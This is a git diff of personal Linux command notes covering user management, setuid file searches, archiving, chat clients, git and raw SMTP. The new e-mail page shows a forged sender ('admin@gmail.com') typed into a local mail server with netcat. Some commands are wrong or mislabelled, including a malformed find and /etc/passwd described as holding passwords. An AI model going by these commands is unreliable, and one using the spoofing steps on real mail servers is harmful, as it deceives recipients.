-e 's:\(* \)\(\(.*/\)\([^/]\+\)\):\1[\4](\2):g'
|
||||
```
|
160
basics/users.md
160
basics/users.md
@@ -1,96 +1,138 @@
|
||||
---
|
||||
title: "users"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
# Basic Information
|
||||
|
||||
Let's get some entries with 'getent', e.g. passwd or group.
|
||||
|
||||
> getent passwd
|
||||
```bash
|
||||
getent passwd
|
||||
```
|
||||
|
||||
> getent group
|
||||
```bash
|
||||
getent group
|
||||
```
|
||||
|
||||
Obviously:
|
||||
|
||||
> getent shadow
|
||||
```bash
|
||||
getent shadow
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
> sudo adduser maestro
|
||||
```bash
|
||||
sudo adduser maestro
|
||||
```
|
||||
|
||||
add user 'maestro'
|
||||
|
||||
This depends upon the settings in the /etc/default/useradd file and /etc/login.defs
|
||||
|
||||
> sudo useradd -m pinkie
|
||||
```bash
|
||||
sudo useradd -m pinkie
|
||||
```
|
||||
|
||||
add user 'pinkie' with a home directory
|
||||
|
||||
> sudo adduser -m -e 2017-04-25 temp
|
||||
```bash
|
||||
sudo adduser -m -e 2017-04-25 temp
|
||||
```
|
||||
|
||||
add expiry date to user
|
||||
|
||||
> userdel maestro
|
||||
```bash
|
||||
userdel maestro
|
||||
```
|
||||
|
||||
delete maestro
|
||||
|
||||
> userdel -r maestro
|
||||
```bash
|
||||
userdel -r maestro
|
||||
```
|
||||
|
||||
delete maestro and hir homefolder
|
||||
|
||||
> groups
|
||||
```bash
|
||||
groups
|
||||
```
|
||||
|
||||
find which group you are in
|
||||
|
||||
|
||||
> id
|
||||
```bash
|
||||
id
|
||||
```
|
||||
|
||||
same
|
||||
|
||||
> id -Gn maestro
|
||||
```bash
|
||||
id -Gn maestro
|
||||
```
|
||||
|
||||
Find which groups maestro is in
|
||||
|
||||
|
||||
> deluser --remove-home maestro
|
||||
```bash
|
||||
deluser --remove-home maestro
|
||||
```
|
||||
|
||||
delete user maestro
|
||||
|
||||
|
||||
> usermod -aG sudo maestro
|
||||
```bash
|
||||
usermod -aG sudo maestro
|
||||
```
|
||||
|
||||
add user maestro to group sudo
|
||||
Add user maestro to group sudo:
|
||||
|
||||
|
||||
> cat /etc/passwd
|
||||
```bash
|
||||
cat /etc/passwd
|
||||
```
|
||||
|
||||
list users' passwords (and therefore users)
|
||||
|
||||
> groupadd awesome
|
||||
```bash
|
||||
groupadd awesome
|
||||
```
|
||||
|
||||
create the group 'awesome'
|
||||
|
||||
passwords are stored in /etc/shadow.
|
||||
Passwords are stored in /etc/shadow.
|
||||
|
||||
there are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
|
||||
There are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
|
||||
|
||||
> passwd -l bin
|
||||
```bash
|
||||
passwd -l bin
|
||||
```
|
||||
|
||||
lock the user 'bin'
|
||||
Lock the user 'bin'.
|
||||
|
||||
> more /etc/passwd | grep games
|
||||
```bash
|
||||
more /etc/passwd | grep games
|
||||
```
|
||||
|
||||
we find the name, password and user id of the user 'games'. I.e. the password is 'x', and the user id is '5'. The password is an impossible hash, so no input password could match.
|
||||
|
||||
> groupdel learners | delete the group 'learners'
|
||||
```bash
|
||||
groupdel learners | delete the group 'learners'
|
||||
```
|
||||
|
||||
> gpasswd -d pi games | remove user 'pi' from the group 'games'
|
||||
```bash
|
||||
gpasswd -d pi games | remove user 'pi' from the group 'games'
|
||||
```
|
||||
|
||||
> id games
|
||||
```bash
|
||||
id games
|
||||
```
|
||||
|
||||
find the id number of group 'games' (60)
|
||||
|
||||
> usermod -aG sudo maestro
|
||||
```bash
|
||||
usermod -aG sudo maestro
|
||||
```
|
||||
|
||||
add user to group 'maestro'
|
||||
|
||||
@@ -114,7 +156,9 @@ Alternatively, change the shell in /etc/passwd.
|
||||
|
||||
Usermod also lets you change a user's username:
|
||||
|
||||
> usermod -l henry mark
|
||||
```bash
|
||||
usermod -l henry mark
|
||||
```
|
||||
|
||||
However, this will not change the home directory.
|
||||
|
||||
@@ -126,7 +170,9 @@ usermod -L henry
|
||||
|
||||
-G or -groups adds the user to other groups:
|
||||
|
||||
> usermod -G sudo henry
|
||||
```bash
|
||||
usermod -G sudo henry
|
||||
```
|
||||
|
||||
-s adds the user to a shell.
|
||||
|
||||
@@ -140,45 +186,53 @@ In /etc/group, a group file may look like this:
|
||||
|
||||
We can use groupmod, like like usermod, e.g. to change a name:
|
||||
|
||||
> groupmod -n frontoffice backoffice
|
||||
```bash
|
||||
groupmod -n frontoffice backoffice
|
||||
```
|
||||
|
||||
Delte a group:
|
||||
|
||||
> groupdel frontoffice
|
||||
```bash
|
||||
groupdel frontoffice
|
||||
```
|
||||
|
||||
# Logins
|
||||
|
||||
See list of logged on users.
|
||||
|
||||
> w
|
||||
```bash
|
||||
w
|
||||
```
|
||||
|
||||
See last logons:
|
||||
|
||||
> last
|
||||
```bash
|
||||
last
|
||||
```
|
||||
|
||||
or all logon attempts, including bad attempts:
|
||||
|
||||
> lastb
|
||||
```bash
|
||||
lastb
|
||||
```
|
||||
|
||||
List recently accessed files:
|
||||
|
||||
> last -d
|
||||
```bash
|
||||
last -d
|
||||
```
|
||||
|
||||
See files opened by steve
|
||||
|
||||
> lsof -t -u steve
|
||||
```bash
|
||||
lsof -t -u steve
|
||||
```
|
||||
|
||||
See files opened by anyone but steve
|
||||
|
||||
> lsof -u ^steve
|
||||
|
||||
Fuser can also track people loggingin:
|
||||
|
||||
> fuser /var/log/syslog
|
||||
|
||||
... and fuser can kill everything accessing the home directory:
|
||||
|
||||
> fuser -km /home
|
||||
```bash
|
||||
lsof -u ^steve
|
||||
```
|
||||
|
||||
# Looking for Dodgy Files
|
||||
|
||||
@@ -186,21 +240,29 @@ Some files can be executed by people as if they had super user permissions, and
|
||||
|
||||
Let's start with files executable by user:
|
||||
|
||||
> sudo find / -type f -perm -g=s -ls
|
||||
```bash
|
||||
sudo find / -type f -perm -g=s -ls
|
||||
```
|
||||
|
||||
And then those executable by the group:
|
||||
|
||||
> find / -type f -perm -g=s -ls
|
||||
```bash
|
||||
find / -type f -perm -g=s -ls
|
||||
```
|
||||
|
||||
And finally, worrying files, executable by anyone as if sie were the owner:
|
||||
|
||||
> find / -xdev \( -o -nogroup \) -print
|
||||
```bash
|
||||
find / -xdev \( -o -nogroup \) -print
|
||||
```
|
||||
|
||||
Then have a look at resource usage per user.
|
||||
|
||||
#SGID
|
||||
# SGID
|
||||
|
||||
> sudo chmod u+s process.sh
|
||||
```bash
|
||||
sudo chmod u+s process.sh
|
||||
```
|
||||
|
||||
This will modify process.sh to that instead of being simply executable, anyone executing it will have the permissions as if owner while executing it.
|
||||
|
||||
|
24
basics/yes.md
Normal file
24
basics/yes.md
Normal file
@@ -0,0 +1,24 @@
|
||||
---
|
||||
title: "yes"
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
# The Best Linux Program: `yes`
|
||||
|
||||
The program `yes` prints the word `yes` to your terminal until you cancel it, perhaps with 'Control + c'.
|
||||
Or technically it prints `yes\n`, meaning `yes` and then a new line (like pressing the Return key).
|
||||
|
||||
This is extremely powerful.
|
||||
|
||||
If you ever want to automatically install something which persistently nags you with `do you want to do the thing? [y/N]?`, then you can just pipe `yes` into that program, and it will answer 'yes' to all questions.
|
||||
|
||||
```bash
|
||||
yes | $INSTALL_SCRIPT_FILE.sh
|
||||
```
|
||||
|
||||
This works best for disposable systems, like VMs or containers.
|
||||
Try this on a live system, and you might find out that you should have read that message fully.
|
||||
|
||||
```bash
|
||||
yes | yay
|
||||
```
|
||||
|
@@ -1,28 +1,38 @@
|
||||
---
|
||||
title: "profanity"
|
||||
tags: [ "Documentation", "Chat" ]
|
||||
tags: [ "chat", "omemo" ]
|
||||
---
|
||||
# Setup (Commands)
|
||||
|
||||
Sign up to an account somewhere.
|
||||
|
||||
> /connect bob@bobserver.org
|
||||
```
|
||||
/connect bob@bobserver.org
|
||||
```
|
||||
|
||||
Check if someone wants to be your friend:
|
||||
|
||||
> /sub received
|
||||
```
|
||||
/sub received
|
||||
```
|
||||
|
||||
Accept a friend's subscription request:
|
||||
|
||||
> /sub add alice@aliceserver.org
|
||||
```
|
||||
/sub add alice@aliceserver.org
|
||||
```
|
||||
|
||||
Join a room:
|
||||
|
||||
> /join room1@bobserver.org
|
||||
```
|
||||
/join room1@bobserver.org
|
||||
```
|
||||
|
||||
Save your configuration so you don't have to do this again:
|
||||
|
||||
> /save
|
||||
```
|
||||
/save
|
||||
```
|
||||
|
||||
Check your `~/.config/profanity/profrc` for how to data's saved.
|
||||
|
||||
@@ -30,11 +40,17 @@ Check your `~/.config/profanity/profrc` for how to data's saved.
|
||||
|
||||
To automatically sign in, add your password to [pass](../data/pass.md).
|
||||
|
||||
> /account set *malin@oosm.org* eval_password pass *xmpp*
|
||||
```
|
||||
/account set *malin@oosm.org* eval_password pass *xmpp*
|
||||
```
|
||||
|
||||
> /autoconnect set *malin@oosm.org*
|
||||
```
|
||||
/autoconnect set *malin@oosm.org*
|
||||
```
|
||||
|
||||
> /save
|
||||
```
|
||||
/save
|
||||
```
|
||||
|
||||
Remember to save the config for other commands too.
|
||||
|
||||
@@ -42,7 +58,9 @@ Remember to save the config for other commands too.
|
||||
|
||||
## Messages
|
||||
|
||||
> /msg alice@aliceserver.org
|
||||
```
|
||||
/msg alice@aliceserver.org
|
||||
```
|
||||
|
||||
This opens in a new tab.
|
||||
Switch tabs with alt+number.
|
||||
@@ -51,85 +69,76 @@ Switch tabs with alt+number.
|
||||
|
||||
The [docs](https://profanity-im.github.io/guide/0131/reference.html) are massive, so it's often better to use:
|
||||
|
||||
> /help <Tab>
|
||||
```
|
||||
/help <Tab>
|
||||
```
|
||||
|
||||
## Editing
|
||||
|
||||
For long text, you can use vim:
|
||||
|
||||
> /executable editor set vim
|
||||
```
|
||||
/executable editor set vim
|
||||
```
|
||||
|
||||
> /editor
|
||||
```
|
||||
/editor
|
||||
```
|
||||
|
||||
## Sending & Receiving Files
|
||||
|
||||
Tell it how to save files:
|
||||
|
||||
> /executable urlsave set "wget %u -O %p"
|
||||
```
|
||||
/executable urlsave set "wget %u -O %p"
|
||||
```
|
||||
|
||||
Then get the file with:
|
||||
|
||||
> /urlsave *<Tab>*
|
||||
```
|
||||
/urlsave *<Tab>*
|
||||
```
|
||||
|
||||
Same for `/urlopen`
|
||||
|
||||
## Theme
|
||||
|
||||
> profanity
|
||||
```
|
||||
profanity
|
||||
```
|
||||
|
||||
> /theme list
|
||||
```
|
||||
/theme list
|
||||
```
|
||||
|
||||
> theme load batman
|
||||
```
|
||||
theme load batman
|
||||
```
|
||||
|
||||
# Encryption
|
||||
|
||||
## omemo
|
||||
|
||||
> /omemo gen
|
||||
```
|
||||
/omemo gen
|
||||
```
|
||||
|
||||
> /omemo start
|
||||
```
|
||||
/omemo start
|
||||
```
|
||||
|
||||
You can accept everyone's fingerprint all the time with
|
||||
|
||||
> /omemo trustmode firstusage
|
||||
```
|
||||
/omemo trustmode firstusage
|
||||
```
|
||||
|
||||
This will still encrypt, but there will be no check that you have the right person the first time you speak with someone.
|
||||
|
||||
You can ensure omemo automatcally turns on:
|
||||
|
||||
> /omemo policy automatic
|
||||
|
||||
## otr
|
||||
|
||||
Install libotr-dev or libotr5-dev or whatever..
|
||||
|
||||
> sudo apt -y install lib5otr-dev
|
||||
|
||||
Make your otr keys.
|
||||
|
||||
> /otr gen
|
||||
|
||||
Then you can start an otr converstation.
|
||||
|
||||
> /otr start bob@jobbies.org
|
||||
|
||||
Or if you already have a conversation windows open, switch to our using:
|
||||
|
||||
> /otr
|
||||
|
||||
Finally, verify!
|
||||
|
||||
> /otr question "Who are you?" bob
|
||||
|
||||
Bob is verified upon the answer, 'bob'.
|
||||
|
||||
### OTR Finger Prints
|
||||
|
||||
Get yours with
|
||||
|
||||
> /otr myfp
|
||||
|
||||
> /otr theirfp
|
||||
|
||||
> /otr myfp
|
||||
```
|
||||
/omemo policy automatic
|
||||
```
|
||||
---
|
||||
|
||||
|
@@ -1,21 +1,29 @@
|
||||
---
|
||||
title: "wgetpaste"
|
||||
tags: [ "Documentation", "Chat" ]
|
||||
tags: [ "chat" ]
|
||||
---
|
||||
|
||||
See available pastebins:
|
||||
|
||||
> wgetpaste -S
|
||||
```sh
|
||||
wgetpaste -S
|
||||
```
|
||||
|
||||
Upload script.sh to bpaste:
|
||||
|
||||
> wgetpaste -s bpaste script.sh
|
||||
```sh
|
||||
wgetpaste -s bpaste script.sh
|
||||
```
|
||||
|
||||
Input clipboard to dpaste with the heading "Title"
|
||||
|
||||
> wgetpaste -s dpaste -d Title -x
|
||||
```sh
|
||||
wgetpaste -s dpaste -d Title -x
|
||||
```
|
||||
|
||||
Paste in the file then load the result to the right-hand clipboard:
|
||||
|
||||
> wgetpaste -s dpaste -X
|
||||
```sh
|
||||
wgetpaste -s dpaste -X
|
||||
```
|
||||
|
||||
|
@@ -1,26 +1,78 @@
|
||||
---
|
||||
title: "archives"
|
||||
tags: [ "Documentation", "backups" ]
|
||||
title: "Archives"
|
||||
tags: [ "tar", "backups", ".tgz", "tar.gz" ]
|
||||
---
|
||||
# GPG Archives
|
||||
# `tar`
|
||||
|
||||
Create an encrypted archive with `gpg`:
|
||||
## Create
|
||||
|
||||
> tar czvpf - file1.txt file2.pdf file3.jpg | gpg --symmetric --cipher-algo aes256 -o myarchive.tar.gz.gpg
|
||||
Combine many files and directories into a single t-archive file.
|
||||
|
||||
And extract it with `gpg`:
|
||||
```sh
|
||||
tar cf "$ARCHIVE".tar $DIR
|
||||
```
|
||||
You can remember this with the mnemonic '*C*reate *F*ile'.
|
||||
|
||||
> gpg -d myarchive.tar.gz.gpg | tar xzvf -
|
||||
Unfortunately, this stores the full file path, so making a tar archive of `/etc/nginx/` will store `etc/nginx` (without the leading `/`).
|
||||
It's often better to tell tar which path to start from using the `-C` flag.
|
||||
|
||||
```sh
|
||||
tar cf "$ARCHIVE".tar -C /etc/ nginx
|
||||
```
|
||||
|
||||
Check the contents of your archive with:
|
||||
|
||||
```sh
|
||||
tar tf "$ARCHIVE".tar
|
||||
```
|
||||
|
||||
If you want to store 'everything in a directory', then using `*` will not work, because it will target everything in the *current* directory.
|
||||
|
||||
Instead, you can store the target in a variable:
|
||||
|
||||
```sh
|
||||
files=$(ls /etc/nginx)
|
||||
tar cf "$ARCHIVE".tar -C /etc/nginx/ $file
|
||||
```
|
||||
|
||||
## Extract
|
||||
|
||||
Extract the tar archive with
|
||||
|
||||
```sh
|
||||
tar xf "$ARCHIVE".tar
|
||||
```
|
||||
|
||||
You can remember this with the mnemonic 'e*X*tract *F*ile'.
|
||||
|
||||
## Compress
|
||||
|
||||
Create a zip-compressed archive with the `z` flag.
|
||||
|
||||
```sh
|
||||
tar czf "$ARCHIVE".tgz -C /etc/nginx/ $file
|
||||
```
|
||||
|
||||
You can use any file ending you want, but sane people like to use '.tgz' or '.tar.tgz'.
|
||||
|
||||
# 7zip
|
||||
|
||||
(also called 'p7zip' or '7z')
|
||||
|
||||
Make archive:
|
||||
|
||||
> 7za a -tzip -pPASSWORD -mem=AES256 archive.zip file1 file2
|
||||
```sh
|
||||
7za a -tzip -p "$PASSWORD" -mem=AES256 $ARCHIVE.zip $FILE_1 $FILE_2
|
||||
```
|
||||
|
||||
Note that people can still see every filename in your archive, and can change those files.
|
||||
They just can't read the contents.
|
||||
|
||||
Unzip:
|
||||
|
||||
> 7za e archive.zip
|
||||
```sh
|
||||
7za x archive.zip
|
||||
```
|
||||
|
||||
7zip will open anything: zip-files, rar-files, a tin of beans, *anything*.
|
||||
However, the extracted tgz files will just be tar files, so you will still need to use tar to extract them (see above).
|
||||
|
@@ -1,32 +1,40 @@
|
||||
---
|
||||
title: "unison"
|
||||
tags: [ "Documentation", "Backups" ]
|
||||
tags: [ "backups", "synch" ]
|
||||
---
|
||||
|
||||
Install unison on both machines, and make sure both have the same version of unison, with the same version of the ocaml compiler (the smallest difference will cause problems).
|
||||
|
||||
> unison -version
|
||||
```sh
|
||||
unison -version
|
||||
```
|
||||
|
||||
Create the `~/.unison` directory on both machines.
|
||||
|
||||
Make a job called `backup`:
|
||||
|
||||
> vim ~/.unison/*backup*.prf
|
||||
|
||||
You can name the file anything, but it must end in .prf.
|
||||
|
||||
Here is an example job, which synchronizes the `~/music` directory with a remote machine.
|
||||
|
||||
```sh
|
||||
JOB=backup
|
||||
```
|
||||
|
||||
Here is an example job, which synchronizes the `~/music` directory with a remote machine which has the same username.
|
||||
|
||||
|
||||
```sh
|
||||
echo "
|
||||
auto = true
|
||||
root=/home/ghost
|
||||
root=ssh://ghost@192.168.0.10//home/ghost/
|
||||
root=$HOME
|
||||
root=ssh://$USER@$IP_ADDRESS/$HOME
|
||||
|
||||
path=music
|
||||
|
||||
ignore=Name *.flac
|
||||
" > ~/.unison/"$JOB".prf
|
||||
|
||||
```
|
||||
|
||||
Remember to specify `$IP_ADDRESS`
|
||||
|
||||
The last command means it will ignore any file with a name ending in `.flac`.
|
||||
|
||||
## Automatic Runs
|
||||
@@ -34,11 +42,12 @@ The last command means it will ignore any file with a name ending in `.flac`.
|
||||
The first command means this will run but also confirm which files will be deleted, and which will be transferred, us `batch = true` instead.
|
||||
Or you can deleted that line in the `.prf` file and run it with a flag:
|
||||
|
||||
> unison -batch *backup*.prf
|
||||
```sh
|
||||
unison -batch *backup*.prf
|
||||
```
|
||||
|
||||
Set unison to run with crontab or a systemd unit file to have directories synchronize automatically.
|
||||
|
||||
|
||||
## Problem Solving
|
||||
|
||||
You will see data files summarizing what has happened in the `~/.unison` directory.
|
||||
|
26
data/base_16.md
Normal file
26
data/base_16.md
Normal file
@@ -0,0 +1,26 @@
|
||||
---
|
||||
title: "Base 16"
|
||||
tags: [ "data" ]
|
||||
---
|
||||
|
||||
Base 16 numbers often use `0x` at the start, so '10' just means '10', but `0x10` means '10 in base 16' which means '16'.
|
||||
|
||||
For small numbers, use `printf`.
|
||||
|
||||
```sh
|
||||
printf "%x" $NUMBER
|
||||
```
|
||||
|
||||
For any number, use `bc`.
|
||||
|
||||
|
||||
```sh
|
||||
fortune | md5sum | cut -d' ' -f1 | tr [:lower:] [:upper:] | bc
|
||||
```
|
||||
|
||||
- Inputting base 16 uses `ibase=16`.
|
||||
- Outputting base 10 uses `ibase=10`
|
||||
|
||||
```sh
|
||||
echo 'ibase=16;' $(echo cbb478ac825f0dce7671254be035d0bc | tr [:lower:] [:upper:]) | bc
|
||||
```
|
14
data/calcurse.md
Normal file
14
data/calcurse.md
Normal file
@@ -0,0 +1,14 @@
|
||||
---
|
||||
title: "calcurse"
|
||||
tags: [ "data", "calendar", "daylight savings" ]
|
||||
---
|
||||
|
||||
## Setup
|
||||
|
||||
The UK government keeps an `ics` file with clock.
|
||||
|
||||
```sh
|
||||
wget https://www.gov.uk/when-do-the-clocks-change/united-kingdom.ics
|
||||
calcurse -i united-kingdom.ics
|
||||
```
|
||||
|
73
data/email.md
Normal file
73
data/email.md
Normal file
@@ -0,0 +1,73 @@
|
||||
---
|
||||
title: "e-mail"
|
||||
tags: [ "data", "smtp" ]
|
||||
---
|
||||
|
||||
This is bare-bones, original, primitive e-mail.
|
||||
|
||||
Install `opensmtpd` (or similar), then `ncat` or `nc` or `netcat` (this mysterious cat has many names).
|
||||
|
||||
Start the `opensmtpd` service, then use netcat to speak with the mail-daemon:
|
||||
|
||||
```sh
|
||||
nc localhost 25
|
||||
```
|
||||
|
||||
The computer should respond with code `220`, which means 'I am listening'.
|
||||
|
||||
> 220 hex ESMTP OpenSMTPD
|
||||
|
||||
```
|
||||
HELO gmail.com
|
||||
```
|
||||
|
||||
You say `HELO` and say where you are coming from.
|
||||
|
||||
|
||||
The `smtpd` will not check, so I am going to lie to it.
|
||||
Mail servers are easily impressed, so it will be pleased to meet you.
|
||||
|
||||
> 250 hex Hello gmail.com [::1], pleased to meet you
|
||||
|
||||
```
|
||||
MAIL FROM: <admin@gmail.com>
|
||||
```
|
||||
|
||||
All the mail commands start with 4 bytes, because it's easier for admins to program.
|
||||
Tell the mail daemon who you are in this format.
|
||||
|
||||
> 250 2.0.0 Ok
|
||||
|
||||
Then tell it who you're sending to.
|
||||
|
||||
```sh
|
||||
RCPT TO: <www@dmz.rs>
|
||||
```
|
||||
|
||||
> 250 2.1.5 Destination address valid: Recipient ok
|
||||
|
||||
Finally, tell it that you want to send `DATA`.
|
||||
|
||||
```
|
||||
DATA
|
||||
```
|
||||
|
||||
> 354 Enter mail, end with "." on a line by itself
|
||||
|
||||
```
|
||||
Subject: turn off server please
|
||||
|
||||
very urgent
|
||||
.
|
||||
```
|
||||
|
||||
> 250 2.0.0 73864a49 Message accepted for delivery
|
||||
|
||||
You will find the email under `/var/spool` or `/var/mail` or similar.
|
||||
|
||||
If unsure, just take a part of your email, like `FRAGMENT="turn off server please"`, then `grep` for it:
|
||||
|
||||
```sh
|
||||
sudo grep -r $FRAGMENT /var/spool/*
|
||||
```
|
||||
|
32
data/exiftool.md
Normal file
32
data/exiftool.md
Normal file
@@ -0,0 +1,32 @@
|
||||
---
|
||||
title: "exiftool"
|
||||
tags: [ "metadata", "exifdata" ]
|
||||
---
|
||||
|
||||
Find metadata:
|
||||
|
||||
```sh
|
||||
exiftool "$file".jpg
|
||||
```
|
||||
|
||||
Find info on all `.png` images in current directory.
|
||||
|
||||
```sh
|
||||
exiftool -ext .png .
|
||||
```
|
||||
|
||||
You can make this recurring with the -r switch.
|
||||
|
||||
And overwrite all metadata:
|
||||
|
||||
```sh
|
||||
exiftool -all= -overwrite_original -ext jpg .
|
||||
```
|
||||
(NB: This does not work on pdf data. See [here](pdf_erasure.md) for erasing all pdf data)
|
||||
|
||||
Or just GPS data:
|
||||
|
||||
```sh
|
||||
exiftool -gps:all= *.jpg
|
||||
```
|
||||
|
@@ -1,18 +0,0 @@
|
||||
---
|
||||
title: "git-lfs"
|
||||
tags: [ "Documentation", "data" ]
|
||||
---
|
||||
|
||||
Install, and add with
|
||||
|
||||
> git lfs install
|
||||
|
||||
Then track some filetype with:
|
||||
|
||||
> git lfs track "\*.ttf"
|
||||
|
||||
Or a directory with:
|
||||
|
||||
> git lfs track "images/"
|
||||
|
||||
All changes require adding `.gitattributes`.
|
160
data/git.md
160
data/git.md
@@ -1,160 +0,0 @@
|
||||
---
|
||||
title: "git"
|
||||
tags: [ "Documentation", "data" ]
|
||||
---
|
||||
# Starting
|
||||
|
||||
## New Machines
|
||||
|
||||
> git config --global user.email *"malinfreeborn@posteo.net"*
|
||||
|
||||
> git config --global user.name *"Malin Freeborn"*
|
||||
|
||||
# New Git
|
||||
|
||||
Start a git in a folder:
|
||||
|
||||
> mkdir *project* && cd *project*
|
||||
|
||||
> git init
|
||||
|
||||
Make a file explaining what the project does:
|
||||
|
||||
> vim README.md
|
||||
|
||||
> git add README.md
|
||||
|
||||
Then make the initial commit, explaining the change you just made:
|
||||
|
||||
> git commit
|
||||
|
||||
# Working
|
||||
|
||||
Once you make a change to some file ("file.sh"), add it and make a commit explaining it.
|
||||
|
||||
> git add file.sh
|
||||
|
||||
> git commit -m"change file.sh"
|
||||
|
||||
Check your history:
|
||||
|
||||
> git log
|
||||
|
||||
# Remotes
|
||||
|
||||
If you want to keep a copy on a public site such as Gitlab, so others can see it, then go there and create a blank project (no readme, nothing).
|
||||
Find the address you want and add it as a remote:
|
||||
|
||||
> git remote add *gitlab* *https://gitlab.com/username/projectx*
|
||||
|
||||
Tell git you're pushing the branch "master" to the remote repo "origin":
|
||||
|
||||
> git push -u master origin
|
||||
|
||||
If someone makes a change on the remote, pull it down with:
|
||||
|
||||
> git pull
|
||||
|
||||
# Branches
|
||||
|
||||
A branch is a full copy of the project to test additional ideas.
|
||||
You can make a new branch called 'featurez' like this:
|
||||
|
||||
> git branch *featurez*
|
||||
|
||||
Have a look at all your branches:
|
||||
|
||||
> git branch
|
||||
|
||||
Switch to your new branch:
|
||||
|
||||
> git checkout *featurez*
|
||||
|
||||
And if your changes are rubbish, checkout the "master" branch again, then delete "featurez":
|
||||
|
||||
> git branch -D *featurez*
|
||||
|
||||
Or if it's a good branch, push it to the remote:
|
||||
|
||||
> git push *origin* *featurez*
|
||||
|
||||
## Merging
|
||||
|
||||
Once you like the feature, merge it into the main branch. Switch to master then merge it:
|
||||
|
||||
> git merge *featurez*
|
||||
|
||||
and delete `featurez` as you've already merged it:
|
||||
|
||||
> git branch -d featurez
|
||||
|
||||
# Subtree
|
||||
|
||||
## Pulling another git repo into a subtree
|
||||
|
||||
> git subtree add -P config git@gitlab.com:bindrpg/config.git master
|
||||
|
||||
## Pulling a Subtree from an existing git
|
||||
|
||||
The project has subdirectories sub-1,sub-2,sub-3. The first should be its own repository, but should also retain its own history.
|
||||
|
||||
First, we extract its history as an independent item, and make that into a seprate branch.
|
||||
|
||||
> git subtree split --prefix=sub-1 -b sub
|
||||
|
||||
If you want something a few directories deep, you can use `--prefix=sub-1/dir-2/dir-3
|
||||
|
||||
Then go and create a new git somewhere else:
|
||||
|
||||
> cd ..;mkdir sub-1;cd sub-1;git init --bare
|
||||
|
||||
Then go back to your initial git repo, and do the following:
|
||||
|
||||
git push ../subtest sub:master
|
||||
|
||||
Finally, you can clone this repo from your original.
|
||||
|
||||
> git clone ../subtest
|
||||
|
||||
# Tricks
|
||||
|
||||
## Delete All History
|
||||
|
||||
> git checkout --orphan temp
|
||||
|
||||
> git add -A
|
||||
|
||||
> git commit -am "release the commits!"
|
||||
|
||||
> git branch -D master
|
||||
|
||||
> git branch -m master
|
||||
|
||||
> git push -f origin master
|
||||
|
||||
Gitlab requires more changes, such as going to `settings > repository` and switching the main branch, then stripping protection.
|
||||
|
||||
## Clean up Bloated Repo
|
||||
|
||||
> git fsck --full
|
||||
|
||||
> git gc --prune=now --aggressive
|
||||
|
||||
> git repack
|
||||
|
||||
## Find Binary Blobs
|
||||
|
||||
```
|
||||
|
||||
git rev-list --objects --all \
|
||||
| git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' \
|
||||
| sed -n 's/^blob //p' \
|
||||
| sort --numeric-sort --key=2 \
|
||||
| cut -c 1-12,41- \
|
||||
| $(command -v gnumfmt || echo numfmt) --field=2 --to=iec-i --suffix=B --padding=7 --round=nearest
|
||||
|
||||
```
|
||||
|
||||
# More
|
||||
|
||||
For big binary files (like images), see [git large-file-storage](git-lfs.md)
|
202
data/git/basics.md
Normal file
202
data/git/basics.md
Normal file
@@ -0,0 +1,202 @@
|
||||
---
|
||||
title: "git"
|
||||
tags: [ "data" ]
|
||||
---
|
||||
# Starting
|
||||
|
||||
## New Machines
|
||||
|
||||
```sh
|
||||
git config --global user.email "$YOUR_EMAIL"
|
||||
```
|
||||
|
||||
```sh
|
||||
git config --global user.name "$YOUR_NAME"
|
||||
```
|
||||
|
||||
# New Git
|
||||
|
||||
Decide on algorithm:
|
||||
|
||||
- If you're scared of insecure hash-sums, go with `hash=sha256`.
|
||||
- If you don't know what a hash sum is, go with `hash=sha1`.
|
||||
|
||||
## Init the Git
|
||||
|
||||
Start a git in directory `${DIR}`:
|
||||
|
||||
```sh
|
||||
git init --object-format=${hash} ${DIR}
|
||||
cd ${DIR}
|
||||
```
|
||||
|
||||
Make a file explaining what the project does, and tell `git` to track it:
|
||||
|
||||
```sh
|
||||
echo "I hereby solemnly swear never to commit a binary file." > README.md
|
||||
git add README.md
|
||||
```
|
||||
|
||||
Then make the initial commit, explaining the change you just made:
|
||||
|
||||
```sh
|
||||
git commit
|
||||
```
|
||||
|
||||
# Working
|
||||
|
||||
Once you make a change to some file, add it and make a commit explaining it.
|
||||
|
||||
```sh
|
||||
git add $FILE
|
||||
```
|
||||
|
||||
```sh
|
||||
git commit -m"change $FILE"
|
||||
```
|
||||
|
||||
Check your history:
|
||||
|
||||
```sh
|
||||
git log
|
||||
```
|
||||
|
||||
# Remotes
|
||||
|
||||
If you want to keep a copy on a public site such as Gitlab, so others can see it, then go there and create a blank project (no readme, nothing).
|
||||
Give it the same name as the `$DIR` directory, above.
|
||||
|
||||
Add this as a remote:
|
||||
|
||||
```sh
|
||||
REMOTE=gitlab
|
||||
git remote add $REMOTE https://gitlab.com/$USERNAME/$DIR
|
||||
```
|
||||
|
||||
Tell git you're pushing the branch "master" to the remote repo "origin":
|
||||
|
||||
```sh
|
||||
git push -u master origin
|
||||
```
|
||||
|
||||
If someone makes a change on the remote, pull it down with:
|
||||
|
||||
```sh
|
||||
git pull
|
||||
```
|
||||
|
||||
# Branches
|
||||
|
||||
A branch is a full copy of the project to test additional ideas.
|
||||
You can make a new branch called 'featurez' like this:
|
||||
|
||||
```sh
|
||||
git branch $FEATURE_BRANCH
|
||||
```
|
||||
|
||||
Have a look at all your branches:
|
||||
|
||||
```sh
|
||||
git branch
|
||||
```
|
||||
|
||||
Switch to your new branch:
|
||||
|
||||
```sh
|
||||
git checkout $FEATURE_BRANCH
|
||||
```
|
||||
|
||||
And if your changes are rubbish, checkout the "master" branch again, then delete "featurez":
|
||||
|
||||
```sh
|
||||
git branch -D $FEATURE_BRANCH
|
||||
```
|
||||
|
||||
Or if it's a good branch, push it to the remote:
|
||||
|
||||
```sh
|
||||
remote=origin
|
||||
git push $remote $FEATURE_BRANCH
|
||||
```
|
||||
|
||||
## Merging
|
||||
|
||||
Once you like the feature, merge it into the main branch. Switch to master then merge it:
|
||||
|
||||
```sh
|
||||
git merge $FEATURE_BRANCH
|
||||
```
|
||||
|
||||
And delete the branch, as you've already merged it:
|
||||
|
||||
```sh
|
||||
git branch -d $FEATURE_BRANCH
|
||||
```
|
||||
|
||||
# Subtree
|
||||
|
||||
